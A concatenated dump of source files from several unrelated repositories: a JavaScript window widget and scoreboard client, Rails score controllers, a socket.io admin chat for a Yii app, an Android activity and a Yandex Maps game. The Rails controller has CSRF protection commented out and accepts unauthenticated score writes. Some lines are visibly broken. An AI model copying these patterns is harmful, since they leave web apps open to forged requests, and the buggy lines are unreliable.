divParent.removeChild(divWindow);
}
divParent = parent;
divParent.appendChild(divWindow);
}
this.setDepth = setDepth;
function setDepth(val){
depth = val;
divWindow.style.zIndex = depth;
}
this.setDepthTop = setDepthTop;
function setDepthTop(){
Win.DEPTH_TOP += 1;
setDepth(Win.DEPTH_TOP);
}
//
this.setContent = setContent;
function setContent(obj){
while( divContent.hasChildNodes() ){
divContentremoveChild(node.lastChild);
}
//divContent.innerHTML = obj;
divContent.appendChild(obj);
}
this.setContentColor = setContentColor;
function setContentColor(color,alpha){
if(alpha==null){
alpha = 0.50;
}
divContent.style.opacity = alpha;
divContent.style.color = color;
}
// interaction functions
// START
this.startDragMenu = startDragMenu;
function startDragMenu(e){
if(!isDragging){
dragStartX = winX; dragStartY = winY;
dragOffsetX = e.pageX; dragOffsetY = e.pageY;
setDepthTop();
isDragging = true;
}
return false;
}
// ENTER FRAME
this.checkMouseMove = checkMouseMove;
function checkMouseMove(e){
if(isDragging){
setPosition(dragStartX+(e.pageX-dragOffsetX),dragStartY+(e.pageY-dragOffsetY));
}
}
// STOP
this.stopDragMenu = stopDragMenu;
function stopDragMenu(e){
if(isDragging){
isDragging = false;
setPosition(dragStartX+(e.pageX-dragOffsetX),dragStartY+(e.pageY-dragOffsetY));
document.selection.empty();
}
return false;
}
//
}
<file_sep>class ApplicationController < ActionController::Base
# protect_from_forgery # WARNING: Can't verify CSRF token authenticity
end
<file_sep>// MultiLoader.js
function MultiLoader(arr,obj){
var list = new Array();
var fxnComplete = null;
var timer = null;
var reference = null;
setLoadList(arr,obj);
this.setLoadList = setLoadList;
function setLoadList(arr,obj){
reference = obj;
Code.emptyArray(list);
var i;
for(i=0;i<arr.length;++i){
list.push(arr[i]);
}
}
this.load = load;
function load(){
next(null);
}
function next(){
if(list.length==0){
if(fxnComplete!=null){
fxnComplete(reference);
}
return;
}
var fxn = list.pop();
fxn(reference);
timer = setTimeout(next,10);
}
this.setFxnComplete = setFxnComplete;
function setFxnComplete(fxn){
fxnComplete = fxn;
}
this.kill = kill;
function kill(){
/*Code.emptyArray(list);
list = null;
fxnComplete = null;
timer = null;*/
}
}
<file_sep>// Comm.js
Comm.EVENT_INDEX = 'comevtidx';
Comm.EVENT_ADDED = 'comevtadd ';
function Comm(){
var dispatch = new Dispatch();
var requestIndex = new XMLHttpRequest();
var requestAdd = new XMLHttpRequest();
var baseURL = "http://sharp-mist-1683.herokuapp.com/";
// sharp-mist-1683.herokuapp.com/scores?name=richie&score=0
// http://sharp-mist-1683.herokuapp.com/game/game.html
this.addScore = addScore;
function addScore(name,score){
var params = "name="+name+"&score="+score;
var reqType = "POST";
var reqURL = baseURL+"scores"+"?"+params;
var reqSync = true;
requestAdd.onreadystatechange = addedScores;
requestAdd.open(reqType,reqURL,reqSync);
requestAdd.send();
}
this.addedScores = addedScores;
function addedScores(){
if (requestAdd.readyState==4 && requestAdd.status==200){
dispatch.alertAll(Comm.EVENT_ADDED,true);
listScores();
}
}
// --------------------------------------------------------------
this.listScores = listScores;
function listScores(){
var reqType = "GET";
var reqURL = baseURL+"scores.json";
var reqSync = true;
requestIndex.onreadystatechange = updateScores; // show current list
requestIndex.open(reqType,reqURL,reqSync);
requestIndex.send(); // nothing specific
}
this.updateScores = updateScores;
function updateScores(){
if (requestIndex.readyState==4 && requestIndex.status==200){
var resp = requestIndex.responseText;
dispatch.alertAll(Comm.EVENT_INDEX,resp);
}
}
// dispatch -----------------------------------------------------------
this.addFunction = addFunction;
function addFunction(str,fxn){
dispatch.addFunction(str,fxn);
}
this.removeFunction = removeFunction;
function removeFunction(str,fxn){
dispatch.removeFunction(str,fxn);
}
this.alertAll = alertAll;
function alertAll(str,o){
dispatch.alertAll(str,o);
}
}
<file_sep>// Keyboard.js
Keyboard.EVENT_KEY_DOWN = "kbdevtkdn";
Keyboard.EVENT_KEY_UP = "kbdevtkup";
function Keyboard(){
var key = new Array();
var dispatch = new Dispatch();
fillKeys();
function fillKeys(){
var i;
for(i=0;i<=255;++i){
key[i] = false;
}
}
// dispatch -----------------------------------------------------------
this.addFunction = addFunction;
function addFunction(str,fxn){
dispatch.addFunction(str,fxn);
}
this.removeFunction = removeFunction;
function removeFunction(str,fxn){
dispatch.removeFunction(str,fxn);
}
this.alertAll = alertAll;
function alertAll(str,o){
dispatch.alertAll(str,o);
}
// LISTENERS ----------------------------------------------------------
this.addListeners = addListeners;
function addListeners(){
addEventListener('keydown', keyDownFxn);
addEventListener('keyup', keyUpFxn);
}
this.removeListeners = removeListeners;
function removeListeners(){
removeEventListener('keydown', keyDownFxn);
removeEventListener('keyup', keyUpFxn);
}
function keyDownFxn(e){
var num = e.keyCode;
// if( key[num]==false ){
key[num] = true;
dispatch.alertAll(Keyboard.EVENT_KEY_DOWN,num);
// }
}
function keyUpFxn(e){
var num = e.keyCode;
key[num] = false;
dispatch.alertAll(Keyboard.EVENT_KEY_UP,num);
}
}
// constants:
Keyboard.KEY_TAB = 9;
Keyboard.KEY_SHIFT = 16;
Keyboard.KEY_CTRL = Keyboard.KEY_CONTROL = 17;
Keyboard.KEY_ALT = Keyboard.KEY_ALTERNATE = 18;
Keyboard.KEY_CAP = Keyboard.KEY_CAPS = Keyboard.KEY_SPACE = CAPSLOCK = 20;
Keyboard.KEY_SPACE = 32;
Keyboard.KEY_UP = 38;
Keyboard.KEY_LF = Keyboard.KEY_LEFT = 37;
Keyboard.KEY_RT = Keyboard.KEY_RIGHT = 39;
Keyboard.KEY_DN = Keyboard.KEY_DOWN = 40;
Keyboard.KEY_LET_A = 65;
Keyboard.KEY_LET_B = 66;
Keyboard.KEY_LET_C = 67;
Keyboard.KEY_LET_D = 68;
Keyboard.KEY_LET_E = 69;
Keyboard.KEY_LET_F = 70;
Keyboard.KEY_LET_G = 71;
Keyboard.KEY_LET_H = 72;
Keyboard.KEY_LET_I = 73;
Keyboard.KEY_LET_J = 74;
Keyboard.KEY_LET_K = 75;
Keyboard.KEY_LET_L = 76;
Keyboard.KEY_LET_M = 77;
Keyboard.KEY_LET_N = 78;
Keyboard.KEY_LET_O = 79;
Keyboard.KEY_LET_P = 80;
Keyboard.KEY_LET_Q = 81;
Keyboard.KEY_LET_R = 82;
Keyboard.KEY_LET_S = 83;
Keyboard.KEY_LET_T = 84;
Keyboard.KEY_LET_U = 85;
Keyboard.KEY_LET_V = 86;
Keyboard.KEY_LET_W = 87;
Keyboard.KEY_LET_X = 88;
Keyboard.KEY_LET_Y = 89;
Keyboard.KEY_LET_Z = 90;
Keyboard.KEY_NUM_0 = 48;
Keyboard.KEY_NUM_1 = 49;
Keyboard.KEY_NUM_2 = 50;
Keyboard.KEY_NUM_3 = 51;
Keyboard.KEY_NUM_4 = 52;
Keyboard.KEY_NUM_5 = 53;
Keyboard.KEY_NUM_6 = 54;
Keyboard.KEY_NUM_7 = 55;
Keyboard.KEY_NUM_8 = 56;
Keyboard.KEY_NUM_9 = 57;
// ..
<file_sep>class ScoresController < ApplicationController
# GET /scores
# GET /scores.json
def index
@scores = Score.all();
#@scores.sort!{ |a,b| b.score <=> a.score } # highest score first
respond_to do |format|
format.html # index.html.erb
format.json { @scores = Score.find(:all, :order => 'score desc', :limit => 20); render :json => @scores }
end
end
# GET /scores/1
# GET /scores/1.json
def show
@score = Score.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.json { render :json => @score }
end
end
# GET /scores/new
# GET /scores/new.json
def new
@score = Score.new
respond_to do |format|
format.html # new.html.erb
format.json { render :json => @score }
end
end
# GET /scores/1/edit
def edit
@score = Score.find(params[:id])
end
# POST /scores
# POST /scores.json
def create
@nameVal = params[:name]
@scoreVal = params[:score]
# IF IT EXISTS, DO UPDATE SCORE
@score = Score.find_by_name(@nameVal)
puts @score
puts @score.nil?
if @score.nil?
puts "CREATEING"
@score = Score.new( )
@score.name = params[:name]
@score.score = params[:score]
# params[:name], params[:score]
#@score = Score.new( params[:score] )
respond_to do |format|
if @score.save
format.html { redirect_to @score, :notice => 'Score was successfully created.' }
format.json { render :json => @score, :status => :created, :location => @score }
else
format.html { render :action => "new" }
format.json { render :json => @score.errors, :status => :unprocessable_entity }
end
end
else
puts "UPDATEING"
@score.score = [@score.score.to_i, @scoreVal.to_i].max
respond_to do |format|
if @score.save
format.html { redirect_to @score, :notice => 'Score was successfully created.' }
format.json { render :json => @score, :status => :created, :location => @score }
else
format.html { render :action => "new" }
format.json { render :json => @score.errors, :status => :unprocessable_entity }
end
end
# respond_to do |format|
# format.html { render :action => "new" }
# format.json { render :json => @score.errors, :status => :unprocessable_entity }
# params[:id] = @existing.id
# update;
end
end
# PUT /scores/1
# PUT /scores/1.json
def update
@score = Score.find(params[:id])
respond_to do |format|
if @score.update_attributes(params[:score])
# if @score.update_attributes( :image=> params[:score] )
format.html { redirect_to @score, :notice => 'Score was successfully updated.' }
format.json { head :no_content }
else
format.html { render :action => "edit" }
format.json { render :json => @score.errors, :status => :unprocessable_entity }
end
end
end
# DELETE /scores/1
# DELETE /scores/1.json
def destroy
@score = Score.find(params[:id])
@score.destroy
respond_to do |format|
format.html { redirect_to scores_url }
format.json { head :no_content }
end
end
end
| 893daac214a0441e2e5eee1ae322d1fa3922eef7 | [
"JavaScript",
"Ruby"
] | 14 | JavaScript | joeboxes/csci446scoreboard | 1decb6757e10415c7e3169fe9a0358ef2321ee32 | fb1a38efadf3aff79206ea9c2dec2296636ddc02 |
refs/heads/master | <repo_name>non4ik12/yiichat<file_sep>/modules/admin/views/left_menu.php
<?php
?>
<div class="list-group">
<a class="list-group-item active" href="/admin/chat">
<i class="glyphicon glyphicon-chevron-right"></i>
Online chat
</a>
</div>
<file_sep>/web/js/olchatfulladmin.js
(function($) {
$.widget('custom.olchatfulladmin', {
userId: 0,
storage: {
userId: 'dmChatUserId',
history: 'dmChatHistoriess'
},
_currentDialog: null,
childs: null,
options: {
server: "https://shyshko.in.ua:80",
classes: {
field: "dm-onchat-input",
content: "dm-onchat-content",
body: "dm-onchat-body",
contacts: "dm-onchat-contacts",
tabs: "dm-onchat-tabs",
users_online: "users-online",
users_online_data: "users-online-data"
}
},
_create: function() {
console.log("init");
this.socket = io.connect(this.options.server);
this._setProperties();
},
_setProperties: function() {
var self = this,
childs = [];
this.socket.on('show chat', function() {
self._showDialog();
});
this.socket.on('to moderator', function(data) {
if (!$('#'+data.uid).length) {
self._newDialog(data);
}
self._appendNewMessage(data);
});
this._getUid();
$.each(this.options.classes, function(a, b) {
childs[a] = $('.' + b);
});
this.childs = childs;
this._on(this.childs.field, {
keypress: "_sendMessage"
});
this.socket.on('usersOnline', function(data) {
self._loadUsersInfo(data);
});
},
_loadUsersInfo: function(data) {
var self = this;
this.childs.users_online_data.html('');
$.each(data, function(a,b){
self.childs.users_online_data
.append(
$("<div />").addClass("row")
.append($("<div />").addClass("col-md-3").text(b.uid + "(" + b.ip + ")"))
.append($("<div />").addClass("col-md-2").text(b.location))
.append($("<div />").addClass("col-md-1").text(b.browser))
.append($("<div />").addClass("col-md-6").html(
$("<a />").attr({"href": b.page, target:"_blank"}).text(b.page))
)
)
});
},
_sendMessage: function(e) {
if (e.which == 13) {
var data = {
msg: this.childs.field.val(),
uid: this._currentDialog.uid,
aid: this.userId
}
this.socket.emit('to user', data);
this._appendUserMsg(data);
this._toHistory({
uid: data.uid,
sender: 'moderator',
message: data.msg
});
this.childs.field.val('');
}
},
_showDialog: function() {
var currentHistory = this._getHistory();
this.childs.body.fadeToggle(100);
this._loadHistory();
},
_getHistory: function() {
storageHistory = localStorage.getItem(this.storage.history);
return (storageHistory) ? JSON.parse(storageHistory).currentHistory : [];
},
_loadHistory: function() {
var self = this,
currentHistory = this._getHistory();
if (currentHistory.length) {
$.each(currentHistory, function(a, b) {
if (b.sender == 'user') {
self._appendUserMsg({uid: b.uid, msg: b.message});
} else {
self._appendAdminMsg(b.message);
}
});
}
},
_appendNewMessage: function(data) {
this._appendAdminMsg(data);
this._toHistory({
uid: data.uid,
sender: 'user',
message: data.msg
});
},
_appendAdminMsg: function(data) {
var tab = $("#"+data.uid);
console.log(tab);
tab.append(
$("<div />")
.addClass("message-row")
.append(
$("<div />")
.addClass("message user-message").text(data.msg)
)
);
tab.animate({
scrollTop: tab.prop("scrollHeight") - tab.height()
}, 20);
},
_appendUserMsg: function(data) {
console.log(data);
this._currentDialog.content.append($("<div />").addClass("message-row").append($("<div />").addClass("dm-onchat-photo")).append($("<div />").addClass("message admin-message").text(data.msg)));
this._currentDialog.content.animate({
scrollTop: this._currentDialog.content.prop("scrollHeight") - this._currentDialog.content.height()
}, 20);
},
_newDialog: function(data) {
var _item = $("<li />")
.attr({
"data-uid": data.uid,
role: "presentation"
})
.append($("<a />").attr({
href: "#"+data.uid,
"aria-controls": data.uid,
role: "tab",
"data-toggle": "tab"
}).addClass("btn btn-default btn-blink").text(data.uip))
.appendTo(this.childs.contacts.find('ul'));
this._on(_item, {
click: "_switchDialog"
})
this._currentDialog = {
content: $("<div />").attr({
role: "tabpanel",
id: data.uid
}).addClass("tab-pane")
.appendTo(this.childs.tabs),
uid: data.uid
}
this._scrollTab(this._currentDialog.content);
},
_getUid: function() {
this.userId = localStorage.getItem(this.storage.userId);
if (!this.userId) {
this.userId = this._generateUid();
localStorage.setItem(this.storage.userId, this.userId);
}
this.socket.emit("adminAuth", {
uid: this.userId,
page: window.location.href
});
},
_switchDialog: function(e) {
var uid = $(e.target).parent().data("uid");
if ($(e.target).hasClass("btn-blink")) {
$(e.target).removeClass("btn-blink");
}
this._currentDialog = {
content: $("#"+uid),
uid: uid
}
this._scrollTab(this._currentDialog.content);
},
_scrollTab: function(block) {
block.animate({
scrollTop: block.prop("scrollHeight") - block.height()
}, 20);
},
_generateUid: function() {
return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) {
var r = Math.random() * 16 | 0,
v = c == 'x' ? r : (r & 0x3 | 0x8);
return v.toString(16);
});
},
_toHistory: function(data) {
currentHistory = localStorage.getItem(this.storage.history);
if (!currentHistory) {
currentHistory = [];
} else {
currentHistory = JSON.parse(currentHistory).currentHistory;
}
currentHistory.push(data);
localStorage.setItem(this.storage.history, JSON.stringify({
currentHistory
}));
}
})
})(jQuery);
<file_sep>/modules/olchat/Module.php
<?php
namespace app\modules\olchat;
/**
* olchat module definition class
*/
class Module extends \yii\base\Module
{
public function beforeAction($action)
{
$this->layout = "@app/modules/olchat/views/default/layout";
if (!\Yii::$app->user->isGuest && \Yii::$app->user->identity->getIsAdmin()) {
return true;
}
\Yii::$app->getResponse()->redirect('/', 302);
}
/**
* @inheritdoc
*/
public $controllerNamespace = 'app\modules\olchat\controllers';
/**
* @inheritdoc
*/
public function init()
{
parent::init();
// custom initialization code goes here
}
}
<file_sep>/modules/olchat/views/default/online_users.php
<div class="container">
<div class="menu col-md-3">
<?=$this->render('../left_menu')?>
</div>
<div class="olchat-default-index col-md-9">
<div id="dm-onchat">
<div class="dm-onchat-content row">
<div class="dm-onchat-body">
<div class="dm-onchat-contacts col-md-3">
<ul class="nav nav-pills nav-stacked">
</ul>
</div>
<div class="col-md-9">
<div class="tab-content dm-onchat-tabs">
</div>
<input type="text" class="dm-onchat-input" placeholder="Введите Ваше сообщение" />
</div>
</div>
</div>
</div>
</div>
</div>
<script src="/js/olchatfulladmin.js"></script>
<script>$("#dm-onchat").olchatfulladmin();</script> | 58ab16df5c0177c3f32cb189c0ad0e492fed2f57 | [
"JavaScript",
"PHP"
] | 4 | PHP | non4ik12/yiichat | fa18b230c7aeb74a1b2bf14d091ec82fca7e579c | a86352fe3fab0f09d49b45a856b74900ea68bc0a |
refs/heads/master | <repo_name>eyeopener/doctor<file_sep>/src/com/sense/doctor/Sense.java
package com.sense.doctor;
import android.os.Bundle;
import android.os.Handler;
import android.os.Message;
import android.annotation.SuppressLint;
import android.app.Activity;
import android.content.Context;
import android.content.pm.ActivityInfo;
import android.graphics.Bitmap;
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.Paint;
import android.graphics.drawable.Drawable;
import android.view.Gravity;
import android.view.LayoutInflater;
import android.view.Menu;
import android.view.View;
import android.view.ViewGroup;
import android.view.Window;
import android.view.WindowManager;
import android.view.ViewGroup.LayoutParams;
import android.widget.Button;
import android.widget.ImageView;
import android.widget.LinearLayout;
import android.widget.TabHost;
import android.widget.TabWidget;
import android.widget.TextView;
enum WhichView {
MAIN_MENU, ZZCX_VIEW, CCCX_VIEW, CZCCCX_VIEW, LIST_VIEW, PASSSTATION_VIEW, CCTJ_VIEW, CZTJ_VIEW, GXTJ_VIEW, FJGN_VIEW, WELCOME_VIEW, ABOUT_VIEW, HELP_VIEW
}
public class Sense extends Activity {
WelcomeView wv;// 进入欢迎界面
WhichView curr;// 当前枚举值
private Canvas canvas;// 画布
private Bitmap bitmap;// 位图
private Paint paint;
DrawLineView view_show;
int mov_start_x = 0;// 声明起点坐标
int mov_start_y = 0;
int mov_end_x = 0;// 声明起点坐标
int mov_end_y = 0;
int m_screenWith = 450;
int m_PaitMarginLeft = 0;
int m_PaitMarginTop = 60;
int m_PaitWidth = 450;
int m_PaitHeigth = 30;
int m_LableMarginTop = 20;
int m_LableHeigth = 25;
@SuppressLint("HandlerLeak")
Handler hd = new Handler()// 声明消息处理器
{
@Override
public void handleMessage(Message msg)// 重写方法
{
switch (msg.what) {
case 0:// 进入欢迎界面
goToWelcomeView();
break;
case 1:// 进入菜单界面
parseHorizontalTab();
break;
case 2:// 进入关于界面
setView();
// curr=WhichView.ABOUT_VIEW;
break;
case 3:// 进入帮助界面
// setContentView(R.layout.help);
// curr=WhichView.HELP_VIEW;
break;
}
}
};
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// 设置为全屏
requestWindowFeature(Window.FEATURE_NO_TITLE);
getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN,
WindowManager.LayoutParams.FLAG_FULLSCREEN);
// 设置横屏模式
setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE);
setContentView(R.layout.main_tab_horizontal);
this.hd.sendEmptyMessage(1); // 发送消息进入欢迎界面
}
public void goToWelcomeView() {
if (wv == null)// 如果该对象没创建则创建
{
wv = new WelcomeView(this);
}
setContentView(wv);
curr = WhichView.WELCOME_VIEW;// 标识当前所在界面
}
Drawable icon_tab_1, icon_tab_2, icon_tab_3, icon_tab_4;
private void parseHorizontalTab() {
// 注意下面的代码用的是android.R.id.tabhost,在布局中有2个ID参数是固定的需要使用固定的ID:
// 选项卡:TabWidget->android:id/tabs
// 选项内容:FrameLayout android:id="android:id/tabcontent"
setContentView(R.layout.main_tab_horizontal);
curr = WhichView.MAIN_MENU;// 标识当前所在界面
final TabHost tabHost = (TabHost) findViewById(R.id.tabHost);
tabHost.setup();
icon_tab_1 = this.getResources().getDrawable(R.drawable.ic_launcher);
icon_tab_2 = this.getResources().getDrawable(R.drawable.ic_launcher);
icon_tab_3 = this.getResources().getDrawable(R.drawable.ic_launcher);
icon_tab_4 = this.getResources().getDrawable(R.drawable.ic_launcher);
createHorizontalTab(tabHost);
this.hd.sendEmptyMessage(2); // 发送消息进入欢迎界面
// // 显示文本
// LinearLayout llTv = new LinearLayout(this.getBaseContext());
// llTv.setOrientation(LinearLayout.HORIZONTAL);
// llTv.setGravity(Gravity.CENTER);
//
// LinearLayout.LayoutParams lpTv = new LinearLayout.LayoutParams(
// LayoutParams.WRAP_CONTENT, LayoutParams.WRAP_CONTENT);
// lpTv.topMargin = 0;
// lpTv.leftMargin = 50;
//
// TextView mTV = new TextView(this.getBaseContext());
// mTV.setText("0.0");
// mTV.setTextColor(Color.RED);
// mTV.setTextSize(14);
// mTV.setWidth(100);
// llTv.addView(mTV, lpTv);
//
// // 设置画图view
// LinearLayout llView = new LinearLayout(this.getBaseContext());
// llView.setOrientation(LinearLayout.HORIZONTAL);
// LinearLayout.LayoutParams lpView = new LinearLayout.LayoutParams(
// LayoutParams.MATCH_PARENT, 180);
// // lpView.weight = 1;
// lpView.topMargin = 10;
// lpView.leftMargin = 0;
// com.sense.doctor.DrawLineView mMyView = new DrawLineView(this);
// llView.addView(mMyView, lpView);
//
// ll.addView(llView);
// ll.addView(llTv);
// ll.addView(llBtn);
}
private void createHorizontalTab(TabHost tabHost) {
tabHost.addTab(tabHost
.newTabSpec("tab1")
.setIndicator(
createIndicatorView(this, tabHost, icon_tab_1, "tab1"))
.setContent(R.id.id_tab_view1));
tabHost.addTab(tabHost
.newTabSpec("tab2")
.setIndicator(
createIndicatorView(this, tabHost, icon_tab_2, "tab2"))
.setContent(R.id.id_tab_view2));
tabHost.addTab(tabHost
.newTabSpec("tab3")
.setIndicator(
createIndicatorView(this, tabHost, icon_tab_3, "tab3"))
.setContent(R.id.id_tab_view3));
tabHost.addTab(tabHost
.newTabSpec("tab4")
.setIndicator(
createIndicatorView(this, tabHost, icon_tab_4, "tab4"))
.setContent(R.id.id_tab_view4));
TabWidget tw = tabHost.getTabWidget();
tw.setOrientation(LinearLayout.VERTICAL);
// 注意在此处设置此参数使TAB 垂直布局
}
private View createIndicatorView(Context context, TabHost tabHost,
Drawable icon, String title) {
LayoutInflater inflater = (LayoutInflater) context
.getSystemService(Context.LAYOUT_INFLATER_SERVICE);
View tabIndicator = inflater.inflate(R.layout.tab_indicator_horizontal,
tabHost.getTabWidget(), false);
final ImageView iconView = (ImageView) tabIndicator
.findViewById(R.id.icon);
final TextView titleView = (TextView) tabIndicator
.findViewById(R.id.title);
titleView.setText(title);
iconView.setImageDrawable(icon);
return tabIndicator;
}
private void setView() {
LinearLayout tab1 = (LinearLayout) findViewById(R.id.id_tab_view1);
// setContentView(tab1);
// Button mBtnClean = new Button(this.getBaseContext());
// mBtnClean.setText("清空");
// mBtnClean.setTextColor(Color.BLACK);
// mBtnClean.setTextSize(14);
// mBtnClean.setWidth(120);
// mBtnClean.setHeight(20);
// tab1.addView(mBtnClean);
//显示文本
LinearLayout llTv = new LinearLayout(this.getBaseContext());
llTv.setOrientation(LinearLayout.HORIZONTAL);
llTv.setGravity(Gravity.CENTER);
LinearLayout.LayoutParams lpTv = new LinearLayout.LayoutParams(
LayoutParams.WRAP_CONTENT, LayoutParams.WRAP_CONTENT);
lpTv.topMargin = 0;
lpTv.leftMargin = 50;
TextView mTV = new TextView(this.getBaseContext());
mTV.setText("0.0");
mTV.setTextColor(Color.RED);
mTV.setTextSize(14);
mTV.setWidth(100);
llTv.addView(mTV,lpTv);
tab1.addView(llTv);
// 设置画图view
// LinearLayout llView = new LinearLayout(this.getBaseContext());
// llView.setOrientation(LinearLayout.HORIZONTAL);
// LinearLayout.LayoutParams lpView = new LinearLayout.LayoutParams(
// LayoutParams.MATCH_PARENT, 180);
// //lpView.weight = 1;
// lpView.topMargin = 10;
// lpView.leftMargin = 0;
// DrawLineView mMyView = new DrawLineView(this);
// llView.addView(mMyView,lpView);
//
// DrawLineView mMyView = new DrawLineView(this);
// tab1.addView(mMyView);
// Button mBtnGet = new Button(this.getBaseContext());
// mBtnGet.setText("读取");
// mBtnGet.setTextColor(Color.BLACK);
// mBtnGet.setTextSize(14);
// mBtnGet.setWidth(120);
// mBtnGet.setHeight(20);
// tab1.addView(mBtnGet);
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.sense, menu);
return true;
}
public Canvas getCanvas() {
return canvas;
}
public void setCanvas(Canvas canvas) {
this.canvas = canvas;
}
}
| 31eb207591e3e59bc14e7e0b0f112e9a99d50394 | [
"Java"
] | 1 | Java | eyeopener/doctor | d899b78c02424f276a86840c00043feb7acd1577 | 98112f70cc358ba7fda4844e1101191bc566022b |
refs/heads/master | <file_sep>/** @jsx React.DOM */
var React = require('react');
var b = require('b_').with('list');
var dispatcher = require('../../utils/dispatcher');
/**
* Список объектов которые нужно найти
* @type {*|Function}
*/
var List = React.createClass({
getDefaultProps: function () {
return {
disabled: false
};
},
propTypes: {
disabled: React.PropTypes.bool
},
getInitialState: function () {
return {
geoObjects: []
};
},
componentDidMount: function () {
dispatcher.on('updateGeobjects', this._updateGeoObject);
},
_updateGeoObject: function (data) {
this.replaceState({
geoObjects: data
});
},
render: function () {
return (
<div className={b({hide: !this.state.geoObjects.length || this.props.disabled})}>
<div className={b('wrapper')}>
<ul className={b('items')}>
{this.state.geoObjects.map(function (geo, index) {
return this._renderItem(geo, index);
}, this)}
</ul>
</div>
</div>
);
},
_renderItem: function (geo, index) {
return (
<li className={b('item')} key={index}>{geo.title}</li>
);
}
});
module.exports = List;
<file_sep>/** @jsx React.DOM */
var React = require('react');
var b = require('b_').with('hint');
var config = require('config');
var AppActions = require('../..//actions/AppActions');
/**
* Кнопка подсказки
* @type {*|Function}
*/
var Hint = React.createClass({
getDefaultProps: function () {
return {
disabled: false
};
},
propTypes: {
disabled: React.PropTypes.bool
},
getInitialState: function () {
return {
actived: false
};
},
componentDidMount: function () {
},
render: function () {
return (
<div className={b({actived: this.state.actived, disabled: this.props.disabled})} onClick={this.getHint}>
<div className={b('wrapper')}>
?
</div>
</div>
);
},
getHint: function () {
var self = this;
if (this.state.actived || this.props.disabled) {
return;
}
this.replaceState({actived: true});
AppActions.useHint(config.hint.price);
setTimeout(function () {
self.replaceState({actived: false});
}, config.hint.countDown);
}
});
module.exports = Hint;
<file_sep>module.exports = {
maps: {
center: [55.76, 37.64], // Москва
zoom: 15,
minZoom: 8,
controls: ['zoomControl'],
behaviors: ['drag', 'scrollZoom']
},
// Подсказка
hint: {
price: -250,// point
lifeTime: 5000, // ms
countDown: 4000 // ms
},
// Очки за верный ответ
point: 100,
// Время игры
timer: 4 * 60 * 1000
};
<file_sep>/** @jsx React.DOM */
var React = require('react');
var b = require('b_');
/**
* Загрузчик
*
* @type {*|Function}
*/
var Spinner = React.createClass({
getDefaultProps: function () {
return {
progress: true,
size: 'xl'
};
},
propTypes: {
progress: React.PropTypes.bool,
size: React.PropTypes.string.isRequired
},
render: function () {
return (
<div className={b('spinner', {progress: this.props.progress, size: this.props.size})}></div>
);
}
});
module.exports = Spinner;
<file_sep>var _ = require('underscore');
var Events = require('./backboneEvents');
var AppDispatcher = _.extend({}, Events);
module.exports = AppDispatcher;
<file_sep>module.exports = [
{
title: 'Кремлевский дворец',
point: [55.75233, 37.617692],
areaFactor: 2.4
},
{
title: 'МГУ',
point: [55.702987, 37.53093],
areaFactor: 2.4
},
{
title: '<NAME>',
point: [55.744566, 37.605499],
areaFactor: 1
},
{
title: 'Манежная площадь',
point: [55.755778, 37.614868],
areaFactor: 1.2
},
{
title: 'Московский зоопарк',
point: [55.761117, 37.578352],
areaFactor: 2.2
},
{
title: 'Третьяковская галерея',
point: [55.741667, 37.620779],
areaFactor: 1
},
{
title: 'Казанский вокзал',
point: [55.773089, 37.656532],
areaFactor: 2
},
{
title: 'Киевский вокзал',
point: [55.742904, 37.565767],
areaFactor: 2
},
{
title: 'Театральная площадь',
point: [55.758772, 37.619414],
areaFactor: 1.4
},
{
title: 'Памятник Петру I (крым-кая наб.)',
point: [55.738226, 37.608877],
areaFactor: 1
},
{
title: 'Останкинская телебашня',
point: [55.819727, 37.611715],
areaFactor: 1.2
},
{
title: 'Большой театр',
point: [55.760109, 37.618578],
areaFactor: 0.5
},
{
title: 'Институт музыки',
point: [55.794102, 37.486167],
areaFactor: 1
},
{
title: 'Донской монастырь',
point: [55.714526, 37.602193],
areaFactor: 1.4
},
{
title: '<NAME> (<NAME>)',
point: [55.605302, 37.286741],
areaFactor: 3
},
{
title: 'БЦ - Сервеная башня',
point: [55.747059, 37.536607],
areaFactor: 2
},
{
title: 'Озеро Мазуринское',
point: [55.811912, 37.912381],
areaFactor: 3
}
];
<file_sep>/** @jsx React.DOM */
var React = require('react');
var b = require('b_').with('counter');
var dispatcher = require('../../utils/dispatcher');
/**
* Счетчик отчков
*
* @type {*|Function}
*/
var Counter = React.createClass({
getDefaultProps: function () {
return {
disabled: false
};
},
propTypes: {
disabled: React.PropTypes.bool
},
getInitialState: function () {
return {
count: 0
};
},
componentDidMount: function () {
dispatcher.on('updatePoints', this._updateCount, this);
},
/**
* Обновляем очки
* @param {Number} count
* @private
*/
_updateCount: function (count) {
this.setState({
count: count
});
},
/**
*
*/
componentWillUpdate: function (nextProps, nextState) {
if (this.state.count !== nextState.count) {
this._toggle = !this._toggle;
}
},
render: function () {
return (
<div className={b({disabled: this.props.disabled})}>
<div className={b('wrapper')}>
<div className={b('count', {toggle: this._toggle})}>{this.state.count}</div>
</div>
</div>
);
}
});
module.exports = Counter;
<file_sep>var dispatcher = require('../utils/dispatcher');
module.exports = {
/**
* Обновление геобъектов
* @param {Array} data
*/
updateGeoObject: function (data) {
dispatcher.trigger('updateGeobjects', data);
},
/**
* Запускаем игру
*/
play: function () {
dispatcher.trigger('play');
},
/**
* Обхект найден
* @param {Number} points - очки
*/
answer: function (points) {
dispatcher.trigger('addPoints', points);
},
/**
* Использовать подсказку
* @param {Number} cost
*/
useHint: function (cost) {
dispatcher.trigger('hint', cost);
},
/**
* Конец игры
*/
endGame: function () {
dispatcher.trigger('endGame');
},
/**
* Показываем результат игры
* @param {Object} data
*/
showResult: function (data) {
dispatcher.trigger('showResult', data);
},
/**
* Обновляем очки
*
* @param {Number} points
*/
updatePoints: function (points) {
dispatcher.trigger('updatePoints', points);
},
/**
* Время игры кончилось
*/
timeout: function () {
dispatcher.trigger('timeout');
}
};
<file_sep># Мини игра - поиск объектов на карте
## Технологии
- [Яндекс.Карты API](https://tech.yandex.ru/maps/)
- [ReactJs](reactjs.org)
## Сборка
```
npm i
grunt static
```
open http://localhost:63342/mapsGame/index.html
<file_sep>/* global describe, before, after, it */
var expect = require('chai').expect;
